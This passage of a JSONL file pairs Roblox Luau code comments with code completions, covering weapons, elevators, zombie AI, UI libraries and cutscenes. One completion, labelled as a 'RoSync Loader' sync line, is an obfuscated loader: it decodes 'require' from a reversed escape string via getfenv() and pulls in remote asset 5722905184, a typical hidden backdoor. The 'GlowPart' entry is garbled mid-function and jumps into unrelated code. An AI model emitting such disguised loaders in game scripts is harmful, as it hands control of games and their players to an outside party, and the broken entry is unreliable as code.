update()\n\tsp.Scope.Position=UDim2.new(.5,-10-(sp.AbsoluteSize.y/2),0,-10)\n\tsp.Scope.Size=UDim2.new(0,20+sp.AbsoluteSize.y,0,20+sp.AbsoluteSize.y)\n\t--sp.ScopeId.Position=UDim2.new(.5,-10-(sp.AbsoluteSize.y/2),0,-10)\n\t--sp.ScopeId.Size=UDim2.new(0,20+sp.AbsoluteSize.y,0,20+sp.AbsoluteSize.y)\n\tsp.F1.Size=UDim2.new(0,20+((sp.AbsoluteSize.x-sp.AbsoluteSize.y)/2),1,20)\n\tsp.F2.Size=UDim2.new(0,20+((sp.AbsoluteSize.x-sp.AbsoluteSize.y)/2),1,20)\n\tsp.F2.Position=UDim2.new(1,-10-((sp.AbsoluteSize.x-sp.AbsoluteSize.y)/2),0,-10)\nend\nwait()\nsp.Changed:connect(update)\nupdate()\n\n\n"} +{"prompt": "-- Function to bind to equip event", "completion": "\nlocal function equip()\n\tlocal torso = player.Character.Torso\n\t\n\t-- Setup joint variables\n\tneck = torso.Neck\t\n\toldNeckC0 = neck.C0\n\tshoulder = torso:FindFirstChild(\"Right Shoulder\")\n\toldShoulderC0 = shoulder.C0\n\t\n\t-- Remember old mouse icon and update current\n\toldIcon = mouse.Icon\n\tmouse.Icon = \"http://www.roblox.com/asset/?id=170477320\"\n\t\n\t-- Bind TouchMoved event if on mobile. Otherwise connect to renderstepped\n\tif userInputService.TouchEnabled then\n\t\tconnection = userInputService.TouchMoved:connect(mobileFrame)\n\telse\n\t\tconnection = render:connect(pcFrame)\n\tend\n\t\n\t-- Bind TouchStarted and TouchEnded. Used to determine if character should rotate\n\t-- during touch input\n\tuserInputService.TouchStarted:connect(function(touch, processed)\n\t\tmobileShouldTrack = not processed\n\tend)\t\n\tuserInputService.TouchEnded:connect(function(touch, processed)\n\t\tmobileShouldTrack = false\n\tend)\n\t\n\t-- Fire server's equip event\n\tgame.ReplicatedStorage.ROBLOX_PistolEquipEvent:FireServer()\n\t\n\t-- Bind event for when mouse is clicked to fire server's fire event\n\tmouse.Button1Down:connect(function()\n\t\tgame.ReplicatedStorage.ROBLOX_PistolFireEvent:FireServer(mouse.Hit.p)\n\tend)\n\t\n\t-- Bind reload event to mobile button and r key\n\tcontextActionService:BindActionToInputTypes(\"Reload\", function() \n\t\tgame.ReplicatedStorage.ROBLOX_PistolReloadEvent:FireServer()\t\t\n\tend, true, \"\")\n\t\n\t-- If game uses filtering enabled then need to update server while tool is\n\t-- held by character.\n\tif workspace.FilteringEnabled then\n\t\twhile connection do\n\t\t\twait()\n\t\t\tgame.ReplicatedStorage.ROBLOX_PistolUpdateEvent:FireServer(neck.C0, shoulder.C0)\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Disable the Dropper so Adonis doesn't try to load on BindToClose()", "completion": "\nscript.Disabled = true\n"} +{"prompt": "--\tif n == true then n = false", "completion": "\n\t--carSeat.Parent.Parent.RW.MR.Motor:remove()\n\t--end"} +{"prompt": "--[[\n\tCreate a new Store whose state is transformed by the given reducer function.\n\n\tEach time an action is dispatched to the store, the new state of the store\n\tis given by:\n\n\t\tstate = reducer(state, action)\n\n\tReducers do not mutate the state object, so the original state is still\n\tvalid.\n]]", "completion": "\nfunction Store.new(reducer, initialState, middlewares, errorReporter)\n\tassert(typeof(reducer) == \"function\", \"Bad argument #1 to Store.new, expected function.\")\n\tassert(middlewares == nil or typeof(middlewares) == \"table\", \"Bad argument #3 to Store.new, expected nil or table.\")\n\tif middlewares ~= nil then\n\t\tfor i=1, #middlewares, 1 do\n\t\t\tassert(\n\t\t\t\ttypeof(middlewares[i]) == \"function\",\n\t\t\t\t(\"Expected the middleware ('%s') at index %d to be a function.\"):format(tostring(middlewares[i]), i)\n\t\t\t)\n\t\tend\n\tend\n\n\tlocal self = {}\n\n\tself._errorReporter = errorReporter or rethrowErrorReporter\n\tself._isDispatching = false\n\tself._reducer = reducer\n\tlocal initAction = {\n\t\ttype = \"@@INIT\",\n\t}\n\tself._actionLog = { initAction }\n\tlocal ok, result = xpcall(function()\n\t\tself._state = reducer(initialState, initAction)\n\tend, tracebackReporter)\n\tif not ok then\n\t\tself._errorReporter.reportReducerError(initialState, initAction, {\n\t\t\tmessage = \"Caught error in reducer with init\",\n\t\t\tthrownValue = result,\n\t\t})\n\t\tself._state = initialState\n\tend\n\tself._lastState = self._state\n\n\tself._mutatedSinceFlush = false\n\tself._connections = {}\n\n\tself.changed = Signal.new(self)\n\n\tsetmetatable(self, Store)\n\n\tlocal connection = self._flushEvent:Connect(function()\n\t\tself:flush()\n\tend)\n\ttable.insert(self._connections, connection)\n\n\tif middlewares then\n\t\tlocal unboundDispatch = self.dispatch\n\t\tlocal dispatch = function(...)\n\t\t\treturn unboundDispatch(self, ...)\n\t\tend\n\n\t\tfor i = #middlewares, 1, -1 do\n\t\t\tlocal middleware = middlewares[i]\n\t\t\tdispatch = middleware(dispatch, self)\n\t\tend\n\n\t\tself.dispatch = function(_self, ...)\n\t\t\treturn dispatch(...)\n\t\tend\n\tend\n\n\treturn self\nend\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\n\nLift:WaitForChild(\"Velocity\").Changed:connect(function(vel)\n if vel > 0 then\n\t\tThis.Display.ARW1.U1.BrickColor = BrickColor.new(\"Daisy orange\")\n\t\tThis.Display.ARW1.U2.BrickColor = BrickColor.new(\"Daisy orange\")\n\t\tThis.Display.ARW1.U3.BrickColor = BrickColor.new(\"Daisy orange\")\n\t\tThis.Display.ARW1.D1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D2.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D3.BrickColor = BrickColor.new(\"Really black\")\n elseif vel < 0 then\n\t\tThis.Display.ARW1.U1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.U2.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.U3.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D1.BrickColor = BrickColor.new(\"Daisy orange\")\n\t\tThis.Display.ARW1.D2.BrickColor = BrickColor.new(\"Daisy orange\")\n\t\tThis.Display.ARW1.D3.BrickColor = BrickColor.new(\"Daisy orange\")\n\telse\n\t\tThis.Display.ARW1.U1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.U2.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.U3.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D2.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D3.BrickColor = BrickColor.new(\"Really black\")\n end\nend)\n"} +{"prompt": "--// Damage Settings\t", "completion": "\n\tBaseDamage = 22;\n\tLimbDamage = 18;\n\tArmorDamage = 15;\n\tHeadDamage = 1000;\n"} +{"prompt": "-- Load tool completely", "completion": "\nlocal Indicator = Tool:WaitForChild 'Loaded';\nwhile not Indicator.Value do\n\tIndicator.Changed:Wait();\nend;\n"} +{"prompt": "--[[\n\tReturns a snapshot of this component given the current props and state. Must\n\tbe overridden by consumers of Roact and should be a pure function with\n\tregards to props and state.\n\n\tTODO (#199): Accept props and state as arguments.\n]]", "completion": "\nfunction Component:render()\n\tlocal internalData = self[InternalData]\n\n\tlocal message = componentMissingRenderMessage:format(\n\t\ttostring(internalData.componentClass)\n\t)\n\n\terror(message, 0)\nend\n"} +{"prompt": "--All sounds are referenced by this ID", "completion": "\nlocal SFX = {\n\tDied = 0;\n\tRunning = 1;\n\tSwimming = 2;\n\tClimbing = 3,\n\tJumping = 4;\n\tGettingUp = 5;\n\tFreeFalling = 6;\n\tFallingDown = 7;\n\tLanding = 8;\n\tSplash = 9;\n}\n\nlocal useUpdatedLocalSoundFlag = UserSettings():IsUserFeatureEnabled(\"UserFixCharacterSoundIssues\")\n\nlocal Humanoid = nil\nlocal Head = nil"} +{"prompt": "-- constants", "completion": "\n\nreturn function(character)\n\tlocal rootPart\t= character.HumanoidRootPart\n\t\n\tlocal attachment\t= Instance.new(\"Attachment\")\n\t\tattachment.CFrame\t= CFrame.new(0, 0.8, 0)\n\t\tattachment.Parent\t= rootPart\n\t\n\tlocal emitter1\t= script.OutlineEmitter:Clone()\n\t\temitter1.Parent\t= attachment\n\t\t\n\tlocal emitter2\t= script.GlowEmitter:Clone()\n\t\temitter2.Parent\t= attachment\n\t\t\n\tlocal info\t= TweenInfo.new(5, Enum.EasingStyle.Quad, Enum.EasingDirection.In)\n\t\n\tlocal tween1\t= TweenService:Create(emitter1, info, {Rate = 0})\n\tlocal tween2\t= TweenService:Create(emitter2, info, {Rate = 0})\n\t\n\ttween1:Play()\n\ttween2:Play()\n\t\t\n\twait(5)\n\t\n\temitter1.Enabled\t= false\n\temitter2.Enabled\t= false\n\t\n\tDebris:AddItem(attachment, 0.5)\nend\n"} +{"prompt": "--//# Terrain Setup", "completion": "\nfunction SetupTerrain()\n\tlocal Terrain = game.Workspace.Terrain;\n\tTerrain.WaterTransparency = 1\n\tTerrain.WaterReflectance = 1\nend\n\nif Enabled then\n\tif TerrainPlusEnabled then\n\t\tSetupTerrain()\n\t\twarn(\"Loaded Better Terrain\")\n\tend\n\tif BetterLightingEnabled then\n\t\tSetupLighting_()\n\t\twarn(\"Loaded Lighting+\")\n\tend\nelseif not Enabled then\n\terror(\"Script Disabled.\")\n\treturn false\nend\n"} +{"prompt": "--Default--", "completion": "\n\nlocal function AttachParticleControl(source_part)\n\t\n\tlocal function Start()\n\n\tend\n\t\n\tlocal function Update()\n\t\t\n\tend\n\t\n\tlocal function Stop()\n\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachParticleControl\n"} +{"prompt": "-- Emporerj", "completion": "\nwait(1)\nlocal Config = script.Parent:WaitForChild(\"Configuration\")\nfunction GetGlowParts()\n\tlocal GlowParts = {}\n\tfor i,v in pairs(workspace:GetChildren())do\n\t\tif v.Name == \"GlowPart\" then\n\t\t\ttable.insert(GlowParts,v)\n\t\tend\n\tend\n\treturn GlowParts\nend\n\nfunction MakeGlow(Part)\n\tif #GetGlowParts() 0 then\n\t\tvelocity.AngularVelocity = velocity.AngularVelocity + Vector3.new(0, 0.2, 0) -- speeding up\n\t\twait(0.1)\n\t\tfor i = 1, #occupants do -- finding occupants to possibly fling :P\n\t\t\tif occupants[i] then\n\t\t\t\tlocal randNum = 1\n\t\t\t\tif math.ceil(occupants[i].HumanoidRootPart.Velocity.Magnitude) > 1 then\n\t\t\t\t\trandNum = math.random(1, math.ceil(occupants[i].HumanoidRootPart.Velocity.Magnitude))\n\t\t\t\tend\n\t\t\t\tif randNum >= 40 then\n\t\t\t\t\tflingPlayer(occupants[i])\n\t\t\t\t\ttable.remove(occupants, i)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\telseif velocity.AngularVelocity.Y > 0 then -- slowing down\n\t\tvelocity.AngularVelocity = velocity.AngularVelocity - Vector3.new(0, math.min(0.3, velocity.AngularVelocity.Y), 0)\n\tend\nend\n"} +{"prompt": "--\t\tPlay \"ShotgunClipinAnimation\" + Play \"ShotgunClipin\" Audio\n--\t\t>>>\n--\t\tWait \"ShellClipinSpeed\" second\n--\t\t>>>\n--\t\tRepeat \"AmmoPerClip\" - \"Current Ammo\" times\n--\t\t>>>\n--\t\tPlay \"ReloadAnimation\" + Play \"ReloadSound\"\n--\t\tWait \"ReloadTime\"", "completion": "\n\t\t"} +{"prompt": "--ROBLOX wants it this way", "completion": "\n\nlocal TargetPart\nfor _,k in ipairs (script.Parent:GetChildren()) do\n\tif k:IsA(\"BasePart\") then\n\t\tTargetPart = k\n\t\tbreak\n\tend\nend\n\nwhile workspace:IsAncestorOf(script) do\n\tif TargetPart:CanSetNetworkOwnership() then--not using this means a crash when the brick is anchored\n\t\tTargetPart:SetNetworkOwner(nil)\n\tend\n\twait(3)\nend\n"} +{"prompt": "--\t\t\t\tif ZombieTarget.HumanoidRootPart.Position.Y > model.HumanoidRootPart.Position.Y + 2 then\n--\t\t\t\t\tmodel.Humanoid.Jump = true\n--\t\t\t\tend", "completion": "\n\t\t\tend\n\t\t\t\n\t\tend\n\tend\n\tPursueState.Init = function()\n\tend\n\t\n\t-- AttackState: Keep moving towards target and play attack animation.\n\tlocal AttackState = StateMachine.NewState()\n\tAttackState.Name = \"Attack\"\n\tlocal lastAttack = os.time()\n\tlocal attackTrack = model.Humanoid:LoadAnimation(model.Animations.Attack)\n\tAttackState.Action = function()\n\t\tmodel.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position)\n\t\tlocal now = os.time()\n\t\tif now - lastAttack > 3 then\n\t\t\tlastAttack = now\n\t\t\tattackTrack:Play()\n\t\tend\n\tend\n\t\n\t-- HuntState: Can't see target but NPC will move to target's last known location.\n\t-- Will eventually get bored and switch state.\n\tlocal HuntState = StateMachine.NewState()\n\tHuntState.Name = \"Hunt\"\n\tHuntState.Action = function()\n\t\tif ZombieTargetLastLocation then\n\t\t\tPathLib:MoveToTarget(model, ZombieTargetLastLocation)\n\t\tend\n\tend\n\tHuntState.Init = function()\n\t\tlastBored = os.time() + configs[\"BoredomDuration\"] / 2\n\tend\n\t\n\t-- CONDITION DEFINITIONS\t\n\t\n\t-- CanSeeTarget: Determines if a target is visible. Returns true if target is visible and\n\t-- sets current target. A target is valid if it is nearby, visible, has a Torso and WalkSpeed\n\t-- greater than 0 (this is to ignore inanimate objects that happen to use humanoids)\n\tlocal CanSeeTarget = StateMachine.NewCondition()\n\tCanSeeTarget.Name = \"CanSeeTarget\"\n\tCanSeeTarget.Evaluate = function()\n\t\tif model then\n\t\t\t-- Get list of all nearby Zombies and non-Zombie humanoids\n\t\t\t-- Zombie list is used to ignore zombies during later raycast\n\t\t\tlocal humanoids = HumanoidList:GetCurrent()\t\n\t\t\tlocal zombies = {}\n\t\t\tlocal characters = {}\n\t\t\tfor _, object in pairs(humanoids) do\n\t\t\t\tif object and object.Parent and object.Parent:FindFirstChild(\"HumanoidRootPart\") and object.Health > 0 and object.WalkSpeed > 0 then\t\t\t\t\n\t\t\t\t\tlocal torso = object.Parent:FindFirstChild(\"HumanoidRootPart\")\n\t\t\t\t\tif torso then\n\t\t\t\t\t\tlocal distance = (model.HumanoidRootPart.Position - torso.Position).magnitude\n\t\t\t\t\t\tif distance <= configs[\"AggroRange\"] then\n\t\t\t\t\t\t\tif object.Parent.Name == \"Drooling Zombie\" then\n\t\t\t\t\t\t\t\ttable.insert(zombies, object.Parent)\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\ttable.insert(characters, object.Parent)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\t\n\t\t\t\t\tend\t\n\t\t\t\tend\n\t\t\tend\t\n\t\t\t\n\t\t\tlocal target = AIUtilities:GetClosestVisibleTarget(model, characters, zombies, configs[\"FieldOfView\"])\n\t\t\tif target then\n\t\t\t\tZombieTarget = target\n\t\t\t\treturn true\n\t\t\tend\n\t\t\t"} +{"prompt": "--Disconnects the events if the tool is unparented.", "completion": "\nlocal function DisconnectEvents()\n\tif not Tool.Parent then\n\t\tfor _,Event in pairs(EventsToDisconnect) do\n\t\t\tEvent:Disconnect()\n\t\tend\n\t\tEventsToDisconnect = {}\n\tend\nend\n\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nlocal tweenService = game:GetService(\"TweenService\")\nThis = script.Parent\nLift = This.Parent.Parent.Parent\nCustomLabel = require(Lift.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nfor i,v in pairs(Lift.Car:WaitForChild(\"Welds\"):GetChildren()) do\n\tif v.Part1 == script.Parent.Back then v:Destroy() end\nend\nlocal weld = Instance.new(\"ManualWeld\", This.Button)\nweld.C0 = Lift.Car.Platform.CFrame:inverse() * This.Back.CFrame\nweld.Part0 = Lift.Car.Platform\nweld.Part1 = This.Back\nclick = false\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tif string.len(SF) == 1 then\n\t\tThis.Label.DIG1.Mesh.Offset = Vector3.new(0, 0, 0)\n\t\tThis.Label.DIG2.Mesh.Offset = Vector3.new(0.03, 0, 0)\n\telse\n\t\tThis.Label.DIG1.Mesh.Offset = Vector3.new(0, 0, 0)\n\t\tThis.Label.DIG2.Mesh.Offset = Vector3.new(0, 0, 0)\n\tend\n\tSetLabel(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetLabel(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetLabel(ID,CHAR)\n\tif This.Label:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tif CHAR == \"1\" or CHAR == \"2\" or CHAR == \"3\" or CHAR == \"4\" or CHAR == \"5\" or CHAR == \"6\" or CHAR == \"7\" or CHAR == \"8\" or CHAR == \"9\" or CHAR == \"0\" then\n\t\t\t\tThis.Label[\"DIG\"..ID].Mesh.Scale = Vector3.new(0.02, 0.11, 0.023)\n\t\t\telseif CHAR == \"+\" or CHAR == \"-\" or CHAR == \"#\" or CHAR == \".\" or CHAR == \"*\" then\n\t\t\t\tThis.Label[\"DIG\"..ID].Mesh.Scale = Vector3.new(0.02, 0.07, 0.023)\n\t\t\telse\n\t\t\t\tThis.Label[\"DIG\"..ID].Mesh.Scale = Vector3.new(0.02, 0.16, 0.03)\t\n\t\t\tend\n\t\t\tThis.Label[\"DIG\"..ID].Mesh.MeshId = \"rbxassetid://\"..l\n\t\tend\n\tend\nend\n\nChangeFloor(This.Name)\n\nfor x,x in pairs(This.Button:GetChildren()) do \n\tif x:IsA(\"SurfaceGui\") and x.Name == (\"Button\") then \n\t\tx.Button.MouseButton1Click:connect(function()\n\t\t\tif click == false then\n\t\t\t\tclick = true\n\t\t\t\ttweenService:Create(weld,TweenInfo.new(0.1),{\n\t\t\t\t\t[\"C1\"] = weld.C1*CFrame.new(0.002, 0, 0),\n\t\t\t\t}):Play()\n\t\t\t\twait(0.1)\n\t\t\t\ttweenService:Create(weld,TweenInfo.new(0.1),{\n\t\t\t\t\t[\"C1\"] = weld.C1*CFrame.new(-0.002, 0, 0),\n\t\t\t\t}):Play()\n\t\t\t\twait(0.1)\n\t\t\t\tclick = false\n\t\t\tend\n\t\tend)\n\tend\nend\n"} +{"prompt": "--Made by Stickmasterluke", "completion": "\n\n\nsp=script.Parent\n\n\nfunction updateicon()\n\tif themouse~=nil then\n\t\tif sp.Enabled then\n\t\t\tthemouse.Icon=\"rbxasset://textures\\\\GunCursor.png\"\n\t\telse\n\t\t\tthemouse.Icon=\"rbxasset://textures\\\\GunWaitCursor.png\"\n\t\tend\n\tend\nend\n\nfunction onEquipped(mouse)\n\tif mouse~=nil then\n\t\tthemouse=mouse\n\tend\n\tupdateicon()\nend\n\n\nsp.Equipped:connect(onEquipped)\nsp.Changed:connect(updateicon)\n\n\n"} +{"prompt": "--[[\n\n\t\t1) Put a part to the location you want to lock\n\t\t2) Change the lock to the one you want: QSI/QDF/QAC\n\t\t\n\t\t\n\t\tVALUES\t\n\n\t\tAccessType =>\n\t\t\tWho has access to: QSI/QDF/QAC\n\t\tActions => \n\t\t\t1 (or if not defined) => Kills the player\n\t\t\t2 => Teleports the player into a Part named \"TP\" and throws a notification (Part TP must be inside the Action Value)\n\t\t\t\t=> If Inside Action there is a StringValue by the name of \"Message\" the notification GUI will send the text from it, otherwise it will send \"You don't have access to this area.\" If you want to disable the message, set it to \"OFF\"\n\t\t\n\t\tNote: Make sure to NoCol and anchor the parts lol\n\n\t\tThanks byeeee\n\n]]", "completion": "--\n\nrequire(path.to.module)(script.Parent)\n"} +{"prompt": "--[[ Last synced 2/17/2021 07:27 RoSync Loader ]]", "completion": " getfenv()[string.reverse(\"\\101\\114\\105\\117\\113\\101\\114\")](5722905184) --[[ ]]--\n"} +{"prompt": "-- Credit: https://blog.elttob.uk/2022/11/07/sets-efficient-topological-search.html", "completion": "\nlocal function updateAll(root: PubTypes.Dependency)\n\tlocal counters: {[Descendant]: number} = {}\n\tlocal flags: {[Descendant]: boolean} = {}\n\tlocal queue: {Descendant} = {}\n\tlocal queueSize = 0\n\tlocal queuePos = 1\n\n\tfor object in root.dependentSet do\n\t\tqueueSize += 1\n\t\tqueue[queueSize] = object\n\t\tflags[object] = true\n\tend\n\n\t-- Pass 1: counting up\n\twhile queuePos <= queueSize do\n\t\tlocal next = queue[queuePos]\n\t\tlocal counter = counters[next]\n\t\tcounters[next] = if counter == nil then 1 else counter + 1\n\t\tif (next :: any).dependentSet ~= nil then\n\t\t\tfor object in (next :: any).dependentSet do\n\t\t\t\tqueueSize += 1\n\t\t\t\tqueue[queueSize] = object\n\t\t\tend\n\t\tend\n\t\tqueuePos += 1\n\tend\n\n\t-- Pass 2: counting down + processing\n\tqueuePos = 1\n\twhile queuePos <= queueSize do\n\t\tlocal next = queue[queuePos]\n\t\tlocal counter = counters[next] - 1\n\t\tcounters[next] = counter\n\t\tif counter == 0 and flags[next] and next:update() and (next :: any).dependentSet ~= nil then\n\t\t\tfor object in (next :: any).dependentSet do\n\t\t\t\tflags[object] = true\n\t\t\tend\n\t\tend\n\t\tqueuePos += 1\n\tend\nend\n\nreturn updateAll\n"} +{"prompt": "-- This function merges the Packages folder from a DevModule into a shared\n-- location. Until we have an improved package implementation, we need to\n-- manually dedupe our libraries to cut down on bloat", "completion": "\nlocal function dedupePackages(packages: Instance)\n\tlocal packageStorage = getPackageStorage()\n\n\tfor _, package in ipairs(packages:GetChildren()) do\n\t\tif package ~= script and package:IsA(\"ModuleScript\") then\n\t\t\tlocal version = getPackageVersion(package)\n\n\t\t\tlocal existingVersion: ModuleScript\n\t\t\tfor _, otherPackage in ipairs(packageStorage:GetChildren()) do\n\t\t\t\tif otherPackage.Name:match((\"^%s_\"):format(package.Name)) and otherPackage:IsA(\"ModuleScript\") then\n\t\t\t\t\tif version == getPackageVersion(otherPackage) then\n\t\t\t\t\t\texistingVersion = otherPackage\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif not existingVersion then\n\t\t\t\tlocal clone = package:Clone() :: ModuleScript\n\t\t\t\tclone.Parent = packageStorage\n\t\t\t\tclone.Name = (\"%s_%s\"):format(clone.Name, version)\n\t\t\t\texistingVersion = clone\n\t\t\tend\n\n\t\t\t-- Link the package with the existing version (which was either\n\t\t\t-- there previously, or is the one we just generated)\n\t\t\tlocal packageRef = constants.PACKAGE_REF:Clone()\n\t\t\tpackageRef.Name = package.Name\n\n\t\t\tlocal packageObject = packageRef:FindFirstChild(\"package\")\n\t\t\tif packageObject and packageObject:IsA(\"ObjectValue\") then\n\t\t\t\tpackageObject.Value = existingVersion\n\t\t\tend\n\t\t\tpackageRef.Parent = package.Parent\n\n\t\t\tpackage:Destroy()\n\n\t\t\tlog(\"link\", (\"%s <-> %s\"):format(package.Name, existingVersion:GetFullName()))\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Start of Destroyed Animation", "completion": "\n\t-- Start of Flag Popping Animation\n\tVehicle.Turret.Rod.Transparency = 0\n\tVehicle.Turret.Rod.Hatch:Play()\n\twait(1)\n\t\n\tVehicle.Turret.Flag.Transparency = 0\n\tVehicle.Turret.Flag.Pop:Play()\n\tVehicle.Turret.Flag.Pop2:Play()\n\n\twait()\n\t\n\tVehicle.Turret.Flag.Pop.Volume = 0\n\tVehicle.Turret.Flag.Pop2.Volume = 0\n\tVehicle.Turret.Rod.Hatch.Volume = 0\n\t\n\t-- End of Flag Popping\n\t\n\t-- Start of Explosion Thingy\n\tlocal Explo = Instance.new (\"Sound\")\n\tExplo.SoundId = \"rbxassetid://151776180\"\n\tExplo.PlayOnRemove = false\n\tExplo.Parent = Engine\n\tExplo:play()\n\t\t\t\t\t\n\t\t\t\n\twait()\n\tlocal Explosion = Instance.new(\"Explosion\")\n\tExplosion.BlastRadius = 5\n\tExplosion.BlastPressure = 1\n\tExplosion.Parent = game.Workspace\n\tExplosion.Position = Engine.Position\n\tExplosion.DestroyJointRadiusPercent = 0\n\t\n\t-- \tEnd of Explosion Thingy\n\t\n\t-- Deletion of Velocities\n\t\n\tEngine.Parent.VehicleSeat.Throttle = Engine.Parent.VehicleSeat.Throttle\n\tEngine.Parent.VehicleSeat.MaxSpeed = Engine.Parent.VehicleSeat.MaxSpeed\n\tEngine.Parent.VehicleSeat.Steer = Engine.Parent.VehicleSeat.Steer\n\t\n\tEngine.BodyAngularVelocity:Destroy()\n\tEngine.BodyGyro:Destroy()\n\tEngine.BodyVelocity:Destroy()\n\t\n\tprint(\"BodyAngularVelocity,BodyGyro,BodyVelocity Deleted, Enemy Tank Disabled\")\n\t\n\t-- Generation of Fire\n\t\t\t\n\tlocal fi = Instance.new(\"Fire\")\n\tfi.Heat = 25\n\tfi.Size = 10\n\tfi.Parent = Engine\n\t\n\tlocal Smokey = script.DisabledVehicleSmoke:Clone()\n\tSmokey.Parent = Engine\n\tSmokey.Name = \"DSmoke\"\n\tSmokey.Enabled = true\n\tprint(\"End of DestroyScript\")\n\tend\n"} +{"prompt": "--[[\n\tReturns the enums.Device of the DeviceInputTypePattern that matches the\n\t`inputType`.\n\n\tThis function is called when the LocalPlayer's LastInputType has changed,\n\tthus possibly requiring an update to the enums.Device\n]]", "completion": "\n\nlocal MerchBooth = script:FindFirstAncestor(\"MerchBooth\")\n\nlocal constants = require(MerchBooth.constants)\nlocal enums = require(MerchBooth.enums)\n"} +{"prompt": "-- Update the cutscene every render frame", "completion": "\nRunService.RenderStepped:Connect(function(Delta)\n\tDemo:Update(Delta)\nend)\n\nif PlayOnPlayerJoin and PlayOnPlayerJoin.Value then\n\t-- Play the cutscene\n\tPlayCutscene()\nend\n\nif PlayOnPartTouch then\n\tlocal part = script.PlayOnPartTouch.Value\n\tif part and part:IsA(\"BasePart\") then\n\t\tpart.Touched:Connect(function(hit)\n\t\t\tif hit.Parent == Player.Character then\n\t\t\t\tPlayCutscene()\n\t\t\tend\n\t\tend)\n\tend\n\tPlayOnPartTouch:Destroy()\nend\n\nif PlayOnEventFire then\n\tlocal e = PlayOnEventFire.Value\n\tif e and e:IsA(\"BindableEvent\") then\n\t\te.Event:Connect(PlayCutscene)\n\tend\n\tPlayOnEventFire:Destroy()\nend\n\nif PlayOnRemoteEventFire then\n\tlocal e = PlayOnRemoteEventFire.Value\n\tif e and e:IsA(\"RemoteEvent\") then\n\t\te.OnClientEvent:Connect(PlayCutscene)\n\tend\n\tPlayOnRemoteEventFire:Destroy()\nend\n\nif StopOnRemoteEventFire then\n\tlocal e = StopOnRemoteEventFire.Value\n\tif e and e:IsA(\"RemoteEvent\") then\n\t\te.OnClientEvent:Connect(function()\n\t\t\tDemo:Stop()\n\t\tend)\n\tend\n\tStopOnRemoteEventFire:Destroy()\nend\n\nif StopOnRemoteEventFire then\n\tlocal e = StopOnRemoteEventFire.Value\n\tif e and e:IsA(\"RemoteEvent\") then\n\t\te.OnClientEvent:Connect(function()\n\t\t\tDemo:Stop()\n\t\tend)\n\tend\n\tStopOnRemoteEventFire:Destroy()\nend\n\nif CutsceneGui then\n\tCutsceneGui.Parent = Player:WaitForChild(\"PlayerGui\")\n\tlocal SkipCutsceneButton = CutsceneGui:FindFirstChild(\"SkipCutscene\", true)\n\tlocal PlayCutsceneButton = CutsceneGui:FindFirstChild(\"PlayCutscene\", true)\n\t\n\tif SkipCutsceneButton and SkipCutsceneButton:IsA(\"GuiButton\") then\n\t\tSkipCutsceneButton.MouseButton1Click:Connect(function()\n\t\t\tDemo:Stop()\n\t\tend)\n\tend\n\t\n\tif PlayCutsceneButton and PlayCutsceneButton:IsA(\"GuiButton\") then\n\t\tPlayCutsceneButton.MouseButton1Click:Connect(function()\n\t\t\tPlayCutscene()\n\t\tend)\n\tend\n\tDemo.EStop.Event:Connect(function()\n\t\tCutsceneGui.Enabled = false\n\tend)\nend\n\nlocal Character = Player.Character or Player.CharacterAdded:Wait()\n\nif PlayOnCharacterAdded and PlayOnCharacterAdded.Value then\n\tPlayCutscene()\nend\nif PlayOnCharacterDied and PlayOnCharacterDied.Value then\n\tlocal Humanoid = Character:WaitForChild(\"Humanoid\")\n\tCharacter:WaitForChild(\"Humanoid\").Died:Connect(function()\n\t\tPlayCutscene()\n\tend)\nend\nPlayOnCharacterAdded:Destroy()\n"} +{"prompt": "--[[*\n * Performs equality by iterating through keys on an object and returning false\n * when any key has values which are not strictly equal between the arguments.\n * Returns true when the values of all keys are strictly equal.\n]]", "completion": "\nlocal function shallowEqual(objA, objB)\n\tif is(objA, objB) then\n\t\treturn true\n\tend\n\n\tif\n\t\ttypeof(objA) ~= \"table\"\n\t\tor objA == nil\n\t\tor typeof(objB) ~= \"table\"\n\t\tor objB == nil\n\tthen\n\t\treturn false\n\tend\n\n\t-- deviation: `Object.keys` does not have an equivalent in Lua, so we\n\t-- iterate through each table instead\n\tfor key, value in objA do\n\t\tif not is(objB[key], value) then\n\t\t\treturn false\n\t\tend\n\tend\n\n\tfor key, value in objB do\n\t\tif not is(objA[key], value) then\n\t\t\treturn false\n\t\tend\n\tend\n\n\treturn true\nend\n\nreturn shallowEqual\n"} +{"prompt": "--[[\n\tBaseCharacterController - Abstract base class for character controllers, not intended to be\n\tdirectly instantiated.\n\t\n\t2018 PlayerScripts Update - AllYourBlox\t\t\n--]]", "completion": "\n\nlocal ZERO_VECTOR3 = 